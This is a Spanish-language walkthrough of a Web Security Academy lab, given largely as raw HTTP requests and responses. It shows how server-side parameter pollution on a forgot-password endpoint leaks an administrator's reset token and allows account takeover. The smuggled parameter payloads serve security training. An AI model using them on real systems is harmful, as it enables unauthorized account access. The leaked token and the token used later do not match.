Lab #2: Exploiting server-side parameter pollution in a query string

Clickeamos sobre "Olvide contraseña" y se genera la siguiente peticion:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 60
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator

Y esto responde asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}

Y cambiamos el administratror a:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 67
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administratorspartan

Esto indica la posibilidad de enumerar usuarios activos en el sistema:

Debido a que la peticion previa respondio asi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 61

{"type":"ClientError","code":400,"error":"Invalid username."}

Se procede a validar el siguiente payload:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 66
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26x=y

Y lo anterior respondio asi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 40

{"error": "Parameter is not supported."}

Tambien se decide enviar este payload:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 63
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%23

Lo cual respondio asi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33

{"error": "Field not specified."}

Observa que esto devuelve un mensaje de error indicando "Field not specified". Esto sugiere que la consulta en el servidor podría incluir un parámetro adicional llamado field, el cual ha sido eliminado debido al carácter #

Por lo anterior, se envia la siguiente peticion:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 73
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=x%23

Y esto responde asi:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 58

{"type":"ClientError","code":400,"error":"Invalid field."}

Utilicemos Intruder para identificar el nombre del campo y usaremos un simple list llamado Server-side variable names:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 77
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=email%23

Y esto responde asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}

Durante la interaccion inicial se identifico el siguiente archivo:

GET /static/js/forgotPassword.js HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Accept-Encoding: gzip, deflate, br
Accept-Language: es-CO,es-419;q=0.9,es;q=0.8,en;q=0.7
Priority: u=1, i

Y el contenido de este archivo JavaScript:

forgotPassword.js
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Invalid username";
                }
                else
                {
                    forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Invalid username";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});

Y en este archivo se identifica la siguiente linea:

const resetToken = urlParams.get('reset-token');

Y debido a lo anterior, se enviara esta peticion:

POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 83
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=reset_token%23

y esto responde asi:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66

{"result":"6wv2ep1u0yx85eyg67xt6oqrmbq84xej","type":"reset_token"}

Usando la informacion previamente obtenida construimos la peticion:

GET /forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net

Esto nos redirecciona a un formulario que permite cambiar la contraseña para el usuario indicado administrator.

Y al enviar la peticion de cambio de password se genera asi:

POST /forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 132
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd&new-password-1=123456789&new-password-2=123456789

Luego de eso eliminamos a carlos para finalizar el reto.

Última actualización

¿Te fue útil?